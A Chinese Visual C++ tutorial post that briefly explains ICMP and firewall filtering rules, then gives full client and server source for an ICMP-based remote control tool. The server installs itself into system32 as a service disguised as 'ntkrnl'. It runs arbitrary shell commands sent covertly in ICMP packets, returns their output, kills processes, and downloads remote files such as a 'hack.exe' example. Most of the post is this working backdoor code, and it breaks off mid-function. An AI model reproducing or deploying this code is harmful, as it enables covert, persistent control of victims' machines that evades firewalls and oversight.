zoukankan      html  css  js  c++  java
  • 基于visual c++之windows核心编程代码分析(29)ICMP实现远程控制

    ICMP是(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

     ICMP协议是一种面向无连接的协议,用于传输出错报告控制信息。它是一个非常重要的协议,它对于网络安全具有极其重要的意义。   它是TCP/IP协议族的一个子协议,属于网络层协议,主要用于在主机与路由器之间传递控制信息,包括报告错误、交换受限控制和状态信息等。当遇到IP数据无法访问目标、IP路由器无法按当前的传输速率转发数据包等情况时,会自动发送ICMP消息。   ICMP原理
    ICMP提供一致易懂的出错报告信息。发送的出错报文返回到发送原数据的设备,因为只有发送设备才是出错报文的逻辑接受者。发送设备随后可根据ICMP报文确定发生错误的类型,并确定如何才能更好地重发失败的数据包。但是ICMP唯一的功能是报告问题而不是纠正错误,纠正错误的任务由发送方完成。   我们在网络中经常会使用到ICMP协议,比如我们经常使用的用于检查网络通不通的Ping命令(Linux和Windows中均有),这个“Ping”的过程实际上就是ICMP协议工作的过程。还有其他的网络命令如跟踪路由的Tracert命令也是基于ICMP协议的。

    ICMP的全称是 Internet Control Message Protocol 。从技术角度来说,ICMP就是一个“错误侦测与回报机制”,其目的就是让我们能够检测网路的连线状况﹐也能确保连线的准确性﹐其功能主要有:   ·

     侦测远端主机是否存在。   

    · 建立及维护路由资料。   ·

     重导资料传送路径。   

    · 资料流量控制。I

    ICMP在沟通之中,主要是透过不同的类别(Type)与代码(Code) 让机器来识别不同的连线状况。常用的类别如下表所列﹕   ICMP 是个非常有用的协议﹐尤其是当我们要对网路连接状况进行判断的时候。下面让我们看看常用的 ICMP 实例,以更好了解 ICMP 的功能与作用。

    下面是针对每个ICMP消息类型的过滤规则的详细分析。
    Echo Request和Reply(类型8和0):
      允许Echo Request消息出站以便于内部用户能够PING一个远程主机。阻止入站Echo Request和出站Echo Reply可以防止外部网络的主机对内部网络进行扫描。如果您使用了位于外部网络的监视器来监视内部网络,就应该只允许来自于特定外部IP的Echo Request进入您的网络。限制ICMP Echo包的大小可以防止“Ping Floods”攻击,并且可以阻止那些利用Echo Request和Reply来“偷运”数据通过防火墙的木马程序。
    Destination unreachable (类型3):
      允许其入站以便于内部网用户可以使用traceroute。需要注意的是,有些攻击者可以使用它来进行针对会话的DoS攻击,如果您曾经历过类似的攻击,也可以阻止它。阻止出站的ICMP Destination unreachable消息,因为它可能会泄漏内部网络的结构。不过有一个例外,对于那些允许外部网络通过TCP访问的内部主机(如位于DMZ区的Web 服务器)发出的Destination unreachable,则应该允许它通过。为了能够支持“Path MTU Discovery”,您应该允许出站的“Packet Too Big”消息(类型3,代码4)到达那些主机。
    Source quench(类型4):
      阻止其入站,因为它可以作为一种DoS攻击,能够降低发送者的发送速度。允许其出站以便于内部主机能够控制发送端发送数据的速度。有些防火墙会忽略所有直接发送到防火墙端口的Source Quench消息,以防止针对于防火墙的DoS攻击。
    Redirect(类型5,9,10):
      Redirect、Router announcement、 Router selection(类型5,9,10):这些消息都存在潜在危险,因为它们可以用来把数据重定向到攻击者的机器。这些消息都应该被阻止。
    TTL exceeded(类型11):
      允许其进站以便于内部用户可以使用traceroute。“firewalking”使用很低的TTL值来对网络进行扫描,甚至可以通过防火墙对内网进行扫描,所以应该禁止其出站。一些防火墙可以阻止TTL值小于设定值的数据包进入防火墙。
    Parameter problem(类型12):
      禁止其入站和出站。通过使用一个能够进行数据包一致性检查的防火墙,错误和恶意的数据包都会被阻塞。

    客户端实现如下

    #include <winsock2.h>
    #include <stdio.h>
    #include <stdlib.h> 
    
    #pragma comment(lib,"ws2_32.lib")
    
    char SendMsg[256];
    
    /* The IP header */
    typedef struct iphdr {
    unsigned int h_len:4; //4位首部长度
    unsigned int version:4; //IP版本号,4表示IPV4
    unsigned char tos; //8位服务类型TOS
    unsigned short total_len; //16位总长度(字节)
    unsigned short ident; //16位标识
    unsigned short frag_and_flags; //3位标志位
    unsigned char ttl; //8位生存时间 TTL
    unsigned char proto; //8位协议 (TCP, UDP 或其他)
    unsigned short checksum; //16位IP首部校验和
    unsigned int sourceIP; //32位源IP地址
    unsigned int destIP; //32位目的IP地址
    }IpHeader;
    
    
    
    
    typedef struct _ihdr
    {
    BYTE i_type;//8位类型
    BYTE i_code; //8位代码
    USHORT i_cksum;//16位校验和
    USHORT i_id;//识别号(一般用进程号作为识别号)
    USHORT i_seq;//报文序列号
    ULONG timestamp;//时间截
    } IcmpHeader;
    
    #define STATUS_FAILED 0xFFFF
      
    #define MAX_PACKET 2000
    char arg[1450];
    
    #define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (s))
    
    
    void fill_icmp_data(char *, int);
    USHORT checksum(USHORT *, int);
    
    void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
    void help(void);
    void usage(char * prog);
    
    int main(int argc, char *argv[])
    {
    char *ICMP_DEST_IP; //目标主机的IP
    char *recvbuf;
    
    if(argc!=2)
    	{
    		usage(argv[0]);
    		return 0;
    	}
    
    ICMP_DEST_IP=argv[1];//取得目标主机IP
    WSADATA wsaData;
    SOCKET sockRaw;
    struct sockaddr_in dest,from;
    int datasize;
    int fromlen=sizeof(from);
    
    char *icmp_data;
    
    
    
    
    if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
    {
    fprintf(stderr, "WSAStartup failed: %d\n", GetLastError());
    ExitProcess(STATUS_FAILED);
    }
    sockRaw=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    int timeout=1000;
    setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) &timeout, sizeof(timeout));
    timeout=4000;
    setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char *) &timeout, sizeof(timeout));
    memset(&dest,0,sizeof(dest));
    dest.sin_addr.s_addr=inet_addr(ICMP_DEST_IP);
    dest.sin_family=AF_INET;
    
    usage(argv[0]);
    __try{
    for(;;){
    
    printf("ICMP-CMD>");
    fgets(SendMsg,1024,stdin);//取得命令行,保存在SendMsg数组中
    
    if(!strcmp(SendMsg,"Q\n")||!strcmp(SendMsg,"q\n"))ExitProcess(0);
    if(!strcmp(SendMsg,"\n"))continue;
    if(!strcmp(SendMsg,"H\n")||!strcmp(SendMsg,"h\n")){help();continue;}
    if(!memcmp(SendMsg,"http://",7))
    if(!strstr(SendMsg,"-")){printf("\nFileName Error. Use \"-FileName\"\n");continue;}
    
    datasize=strlen(SendMsg);
    datasize+=sizeof(IcmpHeader);
    printf("ICMP packet size is %d",datasize);
    icmp_data= (char*)xmalloc(MAX_PACKET);
    recvbuf= (char *)xmalloc(MAX_PACKET);
    memset(icmp_data,0, MAX_PACKET);
    fill_icmp_data(icmp_data, datasize);
    ((IcmpHeader *)icmp_data)->i_cksum=0;
    ((IcmpHeader *)icmp_data)->i_cksum=checksum((USHORT *)icmp_data, datasize);
    
    int bwrote=sendto(sockRaw, icmp_data, datasize, 0, (struct sockaddr *) &dest, sizeof(dest));
    
    if (bwrote == SOCKET_ERROR)
    {
    if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");
    fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());
    
    }
    
      if (bwrote<datasize ) {//没有把所有的数据发送出去,也出错了。
    
             return 0;
    
           }
    
    printf("\nSend Packet to %s Success!\n",argv[1]);
    
    DWORD start = GetTickCount();
    for(;;){
    
    if((GetTickCount() - start) >= 1000) break;
    memset(recvbuf,0,MAX_PACKET);
    int bread=recvfrom(sockRaw, recvbuf, MAX_PACKET, 0, (struct sockaddr *) &from, &fromlen);
    if(bread == SOCKET_ERROR)
    {
    if(WSAGetLastError() == WSAETIMEDOUT)
    {
    printf("timed out\n");
    break;
    }
    
    fprintf(stderr, "recvfrom failed: %d\n", WSAGetLastError());
    break;
    }
    
    decode_resp(recvbuf, bread, &from);
    }
    }//end for
    
    }//end try
    
    
    
    
    __finally
    {
    if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
    WSACleanup();
    }
    
    return 0;
    }
    
    
    USHORT checksum(USHORT *buffer, int size)
    {
    unsigned long cksum=0;
    
    while(size > 1)
    {
    cksum+=*buffer++;
    size-=sizeof(USHORT);
    }
    
    if(size)
    {
    cksum+=*(UCHAR *)buffer;
    }
    
    cksum=(cksum >> 16) + (cksum & 0xffff);
    cksum+=(cksum >> 16);
    return(USHORT) (~cksum);
    }
    void fill_icmp_data(char *icmp_data, int datasize)
    {
    IcmpHeader *icmp_hdr;
    char *datapart;
    icmp_hdr= (IcmpHeader *)icmp_data;
    icmp_hdr->i_type=0;
    icmp_hdr->i_code=0;
    icmp_hdr->i_id=(USHORT)GetCurrentProcessId();
    icmp_hdr->timestamp =GetTickCount();
    icmp_hdr->i_seq=1234;
    datapart=icmp_data + sizeof(IcmpHeader);
    memcpy(datapart,SendMsg,sizeof(SendMsg));
    
    } 
    
    void usage(char * prog)
    {
    	printf("\t\t=====Welcome to www.hackerxfiles.net======\n");
    	printf("\n");
        printf("\t\t---[ ICMP-Cmd v1.0 beta, by gxisone   ]---\n");
    	printf("\t\t---[ E-mail:    gxisone@hotmail.com   ]---\n");
    	printf("\t\t---[                      2003/8/15   ]---\n");
    	printf("\t\tusage: %s RemoteIP\n",prog);
    	printf("\t\tCtrl+C or Q/q to Quite        H/h for help\n");
    }
    
    
    
    
    void decode_resp(char *buf, int bytes,struct sockaddr_in *from) 
    {
    memset(arg,0,sizeof(arg));
    IpHeader *iphdr;
    IcmpHeader *icmphdr;
    unsigned short iphdrlen;
    iphdr = (IpHeader *)buf;
    iphdrlen = iphdr->h_len * 4 ; 
    icmphdr = (IcmpHeader*)(buf + iphdrlen);
    if(icmphdr->i_seq==4321)//密码正确则输出数据段
    {
    printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
    printf(" IcmpType %d",icmphdr->i_type);
    printf(" IcmpCode %d",icmphdr->i_code);
    printf("\n");
    memcpy(arg,buf+iphdrlen+12,1450);
    printf("%s",arg);
    }
    
    else printf("Other ICMP Packets!\n");
    
    }
    
    void help(void)
    {
    	printf("\n");
    	printf("[http://127.0.0.1/hack.exe -admin.exe]  (Download Files. Parth is \\\\system32)\n");
    	printf("[pslist]        (List the Process)\n");
    	printf("[pskill ID]     (Kill the Process)\n");
    	printf("Command         (run the command)\n"); 
    	printf("\n");
    
    
    }
    
    

    服务端实现如下

    #include <winsock2.h>
    #include <stdio.h>
    #include <urlmon.h> 
    #include <tlhelp32.h>
    #include "stdafx.h"
    #pragma comment(lib, "Urlmon.lib")
    #pragma comment(lib, "ws2_32.lib")
                       
    #define ICMP_PASSWORD 1234                                             
    #define STATUS_FAILED 0xFFFF
    #define MAX_PACKET 6500
    #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
    
    
    /* The IP header */
    typedef struct iphdr {
    unsigned int h_len:4; //4位首部长度
    unsigned int version:4; //IP版本号,4表示IPV4
    unsigned char tos; //8位服务类型TOS
    unsigned short total_len; //16位总长度(字节)
    unsigned short ident; //16位标识
    unsigned short frag_and_flags; //3位标志位
    unsigned char ttl; //8位生存时间 TTL
    unsigned char proto; //8位协议 (TCP, UDP 或其他)
    unsigned short checksum; //16位IP首部校验和
    unsigned int sourceIP; //32位源IP地址
    unsigned int destIP; //32位目的IP地址
    }IpHeader;
    
    
    //定义ICMP首部
    typedef struct _ihdr 
    {
    BYTE i_type; //8位类型
    BYTE i_code; //8位代码
    USHORT i_cksum; //16位校验和 
    USHORT i_id; //识别号(一般用进程号作为识别号)
    USHORT i_seq; //报文序列号 
    ULONG timestamp; //时间戳
    }IcmpHeader;
    
    char arg[256];
    char buffer[2048] = {0};//管道输出的数据
    void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
    void fill_icmp_data(char * icmp_data);
    void pslist(void);
    BOOL killps(DWORD id);//杀进程函数
    void send(void);
    char *ICMP_DEST_IP;
    USHORT checksum(USHORT *buffer, int size);
    
    
    
    HANDLE                hMutex;
    SERVICE_STATUS        ServiceStatus;
    SERVICE_STATUS_HANDLE ServiceStatusHandle;
    
    void  WINAPI ICMP_CmdStart(DWORD,LPTSTR *);
    void  WINAPI CmdControl(DWORD);
    DWORD WINAPI CmdService(LPVOID);
    void  InstallCmdService(void);
    void  RemoveCmdService(void);
    void  usage(char *par);
    
    int main(int argc,char *argv[])
    {
    SERVICE_TABLE_ENTRY DispatchTable[]={{"ntkrnl",ICMP_CmdStart},{NULL,NULL}};
    
    if(argc==2)
    	{
    		if(!stricmp(argv[1],"-install"))
    		{
    			usage(argv[0]);
    			InstallCmdService();
    		}
    		else if(!stricmp(argv[1],"-remove"))
    		{
    			usage(argv[0]);
    			RemoveCmdService();
    		}
    	    else usage(argv[0]);
    		return 0;
    	}
    else usage(argv[0]);
    		
    
    
    
    	StartServiceCtrlDispatcher(DispatchTable);
    
    	return 0;
    }
    
    void WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
    {
    	HANDLE    hThread;
    
    	ServiceStatus.dwServiceType             = SERVICE_WIN32;
    	ServiceStatus.dwCurrentState            = SERVICE_START_PENDING;
    	ServiceStatus.dwControlsAccepted        = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
    	ServiceStatus.dwServiceSpecificExitCode = 0;
    	ServiceStatus.dwWin32ExitCode           = 0;
    	ServiceStatus.dwCheckPoint              = 0;
    	ServiceStatus.dwWaitHint                = 0;
    
    	ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
    	if(ServiceStatusHandle==0)
    	{
    		OutputDebugString("RegisterServiceCtrlHandler Error !\n");
    		return ;
    	}
    
    	ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    	ServiceStatus.dwCheckPoint   = 0;
    	ServiceStatus.dwWaitHint     = 0;
    	
    	if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
    	{
    		OutputDebugString("SetServiceStatus in CmdStart Error !\n");
    		return ;
    	}
    
    	hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
    	if(hThread==NULL)
    	{
    		OutputDebugString("CreateThread in CmdStart Error !\n");
    	}
    
    	return ;
    }
    
    void WINAPI CmdControl(DWORD dwCode)
    {
    	switch(dwCode)
    	{
    	case SERVICE_CONTROL_PAUSE:
    		ServiceStatus.dwCurrentState = SERVICE_PAUSED;
    		break;
    
    	case SERVICE_CONTROL_CONTINUE:
    		ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    		break;
    
    	case SERVICE_CONTROL_STOP:      
    		WaitForSingleObject(hMutex,INFINITE);
    
    		ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
    		ServiceStatus.dwWin32ExitCode = 0;
    		ServiceStatus.dwCheckPoint    = 0;
    		ServiceStatus.dwWaitHint      = 0;
    		if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
    		{
    			OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
    		}
    
    		ReleaseMutex(hMutex);
    		CloseHandle(hMutex);
    		return ;
    
    	case SERVICE_CONTROL_INTERROGATE:
    		break;
    
    	default:
    		break;
    	}
    
    	if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
    	{
    		OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
    	}
    
    	return ;
    }
    
    DWORD WINAPI CmdService(LPVOID lpParam)//这里是服务的主函数,把你的代码写在这里就可以成为服务
    {   
    char *icmp_data;
    int bread,datasize,retval;
    SOCKET sockRaw = (SOCKET)NULL;
    WSADATA wsaData;
    struct sockaddr_in dest,from;
    int fromlen = sizeof(from);
    int timeout = 2000;
    char *recvbuf;
    
    
    
         if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)
    	 {
    		 printf("WSAStartup failed: %s\n",retval);
    		 ExitProcess(STATUS_FAILED);
    	 }
    
    	 sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);
    	 if (sockRaw == INVALID_SOCKET)
    	 {
    		 printf("WSASocket() failed: %s\n",WSAGetLastError());
    		 ExitProcess(STATUS_FAILED);
    	 }
    __try{
    bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
    
    if(bread == SOCKET_ERROR) __leave;
    
    
    memset(&dest,0,sizeof(dest));
    dest.sin_family = AF_INET;
    datasize=0;
    datasize += sizeof(IcmpHeader); 
    icmp_data =(char*)xmalloc(MAX_PACKET);
    recvbuf = (char*)xmalloc(MAX_PACKET);
    if (!icmp_data) {
    //fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());
    __leave;
    }
    memset(icmp_data,0,MAX_PACKET);
    for(;;) {
    
    int bwrote;
    bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
    
    bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);
    if (bread == SOCKET_ERROR)
    {
    if (WSAGetLastError() == WSAETIMEDOUT)continue;
    
     __leave;
    
    }
    decode_resp(recvbuf,bread,&from);
    Sleep(200);
    memset(recvbuf,0,sizeof(recvbuf));
    }
    }
    __finally {
    if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
    WSACleanup();
    }
    	return 0;
    }
    
    
    
    
    void InstallCmdService(void)
    {
    	SC_HANDLE        schSCManager;
    	SC_HANDLE        schService;
    	char             lpCurrentPath[MAX_PATH];
    	char             lpImagePath[MAX_PATH];
    	char             *lpHostName;
        WIN32_FIND_DATA  FileData;
    	HANDLE           hSearch;
    	DWORD            dwErrorCode;
    	SERVICE_STATUS   InstallServiceStatus;
    
    	
    		GetSystemDirectory(lpImagePath,MAX_PATH);
    		strcat(lpImagePath,"\\ntkrnl.exe");
            lpHostName=NULL;
    	
    	printf("Transmitting File ... ");
    	hSearch=FindFirstFile(lpImagePath,&FileData);
    	if(hSearch==INVALID_HANDLE_VALUE)
    	{
    		GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
    		if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) 
    		{
    			dwErrorCode=GetLastError();
    			if(dwErrorCode==5)
    			{
    				printf("Failure ... Access is Denied !\n");         
    			}
    			else
    			{
    				printf("Failure !\n");
    			}
    	     	return ;
    		}
       		else
    		{
       			printf("Success !\n");
    		}
    	}
    	else
    	{
    		printf("already Exists !\n");
    		FindClose(hSearch);
    	}
    
    	schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
        if(schSCManager==NULL)
    	{
    		printf("Open Service Control Manager Database Failure !\n");
    		return ;
    	}
    
    	printf("Creating Service .... ");
    	schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
    		                     SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
    							 SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); 
    	if(schService==NULL)
    	{
    		dwErrorCode=GetLastError();
    		if(dwErrorCode!=ERROR_SERVICE_EXISTS)
    		{
          		printf("Failure !\n");
    			CloseServiceHandle(schSCManager);
           		return ;
    		}
    		else
    		{
    			printf("already Exists !\n");
    			schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
    			if(schService==NULL)
    			{
    				printf("Opening Service .... Failure !\n");
    				CloseServiceHandle(schSCManager);
    				return ;
    			}
    		}
    	}
    	else
    	{
    		printf("Success !\n");
    	}
    
    	printf("Starting Service .... ");
    	if(StartService(schService,0,NULL)==0)                         
    	{
    		dwErrorCode=GetLastError();
    		if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
    		{
    			printf("already Running !\n");
            	CloseServiceHandle(schSCManager);  
             	CloseServiceHandle(schService);
             	return ;
    		}
    	}
    	else
    	{
    		printf("Pending ... ");
    	}
    
    	while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)           
    	{
    		if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
    		{
    			Sleep(100);
    		}
    		else
    		{
    			break;
    		}
    	}
    	if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
    	{
    		printf("Failure !\n");                       
    	}
    	else
    	{
    		printf("Success !\n");
    	}
    
    	CloseServiceHandle(schSCManager);
    	CloseServiceHandle(schService);
    	return ;
    }
    
    void RemoveCmdService(void) 
    {
    	SC_HANDLE        schSCManager;
    	SC_HANDLE        schService;
    	char             lpImagePath[MAX_PATH];
    	char             *lpHostName;
        WIN32_FIND_DATA  FileData;
    	SERVICE_STATUS   RemoveServiceStatus;
    	HANDLE           hSearch;
    	DWORD            dwErrorCode;
    
    
    		GetSystemDirectory(lpImagePath,MAX_PATH);
    		strcat(lpImagePath,"\\ntkrnl.exe");
            lpHostName=NULL;
    	
    
    	schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
        if(schSCManager==NULL)
    	{
    		printf("Opening SCM ......... ");
    		dwErrorCode=GetLastError();
    		if(dwErrorCode!=5)
    		{
    			printf("Failure !\n"); 
    		}
    		else
    		{
    			printf("Failuer ... Access is Denied !\n");
    		}
    		return ;
    	}
    
    	schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
    	if(schService==NULL) 
    	{
        	printf("Opening Service ..... ");
    		dwErrorCode=GetLastError();
    		if(dwErrorCode==1060)
    		{
    			printf("no Exists !\n");
    		}
    		else
    		{
    			printf("Failure !\n");
    		}
    		CloseServiceHandle(schSCManager);
    	}
    	else
    	{
    		printf("Stopping Service .... ");
         	if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
    		{
           		if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
    			{
             		printf("already Stopped !\n"); 
    			}
         		else
    			{
    				printf("Pending ... ");
         			if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
    				{
          				while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
    					{
        					Sleep(10);
    	    				QueryServiceStatus(schService,&RemoveServiceStatus);
    					}
          				if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
    					{
          					printf("Success !\n");
    					}
          				else
    					{
    					    printf("Failure !\n");
    					}
    				}
    				else
    				{
    					printf("Failure !\n");          
    				}
    			}
    		}
        	else
    		{
        		printf("Query Failure !\n");
    		}
    
         	printf("Removing Service .... ");     
          	if(DeleteService(schService)==0)
    		{
          		printf("Failure !\n");   
    		}
         	else
    		{
          		printf("Success !\n");
    		}
    	}
    
    	CloseServiceHandle(schSCManager);        
    	CloseServiceHandle(schService);
    
    	printf("Removing File ....... ");
    	Sleep(1500);
    	hSearch=FindFirstFile(lpImagePath,&FileData);
    	if(hSearch==INVALID_HANDLE_VALUE)
    	{
    		printf("no Exists !\n");
    	}
    	else
    	{
    		if(DeleteFile(lpImagePath)==0)
    		{
    			printf("Failure !\n");               
    		}
    		else
    		{
    			printf("Success !\n");
    		}
    		FindClose(hSearch);
    	}
    
    	return ;
    }
    
    void decode_resp(char *buf, int bytes,struct sockaddr_in *from) 
    {
    
    
    IpHeader *iphdr;
    IcmpHeader *icmphdr;
    unsigned short iphdrlen;
    iphdr = (IpHeader *)buf;
    iphdrlen = iphdr->h_len * 4 ; 
    icmphdr = (IcmpHeader*)(buf + iphdrlen);
    if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段
    {
    
    ICMP_DEST_IP=inet_ntoa(from->sin_addr);//取得ICMP包的源地址
    
    memcpy(arg,buf+iphdrlen+12,256);
    if (!memcmp(arg,"pskill",6))
    {
    	killps(atoi(strstr(arg," ")));
    	memcpy(buffer,"Process is Killed!",sizeof("Process is Killed!"));
    	send();
    }
    
    
    
    else if (!memcmp(arg,"pslist",6)){pslist();send();}
    else if (!strcmp(arg,"remove\n"))
    {
    	RemoveCmdService();
    	memcpy(buffer,"Service Removed!",sizeof("Service Removed!"));
    	send();
    	return;
    }
    ////////////************    http下载   *************
    else if (!memcmp(arg,"http://",7))   
    {
    	if(char *FileName=strstr(arg,"-"))
    	{
    	
    		char url[200];//保存网址的数组
    		memset(url,0,200);
    		memcpy(url,arg,int(FileName-arg-1));
    		char fname[MAX_PATH];
    		GetSystemDirectory(fname,MAX_PATH);
    		FileName++;
    		strcat(fname,"\\");
    		strcat(fname,FileName);
    		*strstr(fname,"\n")=NULL;
    		HRESULT hRet=URLDownloadToFile(0,url,fname,0,0);
    		memset(buffer,0,sizeof(buffer));
    		if(hRet==S_OK) memcpy(buffer,"Download OK!\n",sizeof("Download OK\n"));
    		else 
    			memcpy(buffer,"Download Failure!\n",sizeof("Download Failure!\n"));
    		send();
    		return;
    	}
    }
    //*******************************************
    else{
    
    SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
    HANDLE hRead,hWrite;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead,&hWrite,&sa,0)) 
    {
      printf("Error On CreatePipe()");
         return;
      } 
    
    
    STARTUPINFO si;
    PROCESS_INFORMATION pi; 
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfo(&si); 
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    
    char cmdline[270];
    GetSystemDirectory(cmdline,MAX_PATH+1);
    
    strcat(cmdline,"\\cmd.exe /c");
    
    strcat(cmdline,arg);
    if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
    {
            printf("Error on CreateProcess()");
            return;
    }
      CloseHandle(hWrite);
            
      
    DWORD bytesRead; 
    
    for(;;){
    if (!ReadFile(hRead,buffer,2048,&bytesRead,NULL))break;
    Sleep(200);
    }
    //printf("%s",buffer);
    /////////////////////////////////////////////
    	//发送输出数据
    
    send();
    
    }
    ////////////////////////////////////////////////
    
    
    }
    //else printf("Other ICMP Packets!\n");
    //printf(endl; 
    }
    
    
    
    
    USHORT checksum(USHORT *buffer, int size) 
    {
    unsigned long cksum=0;
    while(size >1) 
    {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
    }
    if(size ) {
    cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
    }
    
    
    void fill_icmp_data(char * icmp_data)
    {
    
    IcmpHeader *icmp_hdr;
    char *datapart;
    icmp_hdr = (IcmpHeader*)icmp_data;
    icmp_hdr->i_type = 0;
    icmp_hdr->i_code = 0;
    icmp_hdr->i_id = (USHORT) GetCurrentProcessId();
    icmp_hdr->i_cksum = 0;
    icmp_hdr->i_seq =4321;
    icmp_hdr->timestamp = GetTickCount(); //设置时间戳
    datapart = icmp_data + sizeof(IcmpHeader);
    memcpy(datapart,buffer,strlen(buffer));
    //for(int i=0;i<sizeof(buffer);i++) datapart[i]=buffer[i]; 
    }
    
    void  usage(char *par)
    {
    
        printf("\t\t=====Welcome to www.hackerxfiles.net======\n");
    	printf("\n");
    	printf("\t\t---[ ICMP-Cmd v1.0 beta, by gxisone   ]---\n");
    	printf("\t\t---[ E-mail: gxisone@hotmail.com      ]---\n");
    	printf("\t\t---[                        2003/8/15 ]---\n");
    	printf("\n");
    	printf("\t\tUsage: %s -install (to install service)\n",par);
    	printf("\t\t       %s -remove (to remove service)\n",par);
    	printf("\n");
    
    	return ;
    
    
    }
    
    void send(void)
    {
    
    WSADATA wsaData;
    SOCKET sockRaw = (SOCKET)NULL;
    struct sockaddr_in dest;
    int bread,datasize,retval,bwrote;
    int timeout = 1000;
    char *icmp_data;
    
    if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0) ExitProcess(STATUS_FAILED);
    if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))
    ==INVALID_SOCKET) ExitProcess(STATUS_FAILED);
    __try
    {
    if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) __leave;
    //设置发送超时
    memset(&dest,0,sizeof(dest));
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);
    datasize=strlen(buffer);
    datasize+=sizeof(IcmpHeader); 
    icmp_data=(char*)xmalloc(MAX_PACKET);
    
    if(!icmp_data) __leave;
    memset(icmp_data,0,MAX_PACKET);
    
    fill_icmp_data(icmp_data); //填充ICMP报文
    ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); //计算校验和
    bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); //发送报文
    
    if (bwrote == SOCKET_ERROR)
    {
    //if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");
    //printf("sendto failed:"<<WSAGetLastError()<<endl;
    __leave;
    }
    
    //printf("Send Packet to %s Success!\n"<<ICMP_DEST_IP<<endl;
    }
    
    
    __finally 
    {
    if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
    WSACleanup();
    }
    memset(buffer,0,sizeof(buffer));
    Sleep(200);
    
    }
    
    void pslist(void)
    {
    HANDLE hProcessSnap = NULL;
    PROCESSENTRY32 pe32= {0};
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == (HANDLE)-1)
    {
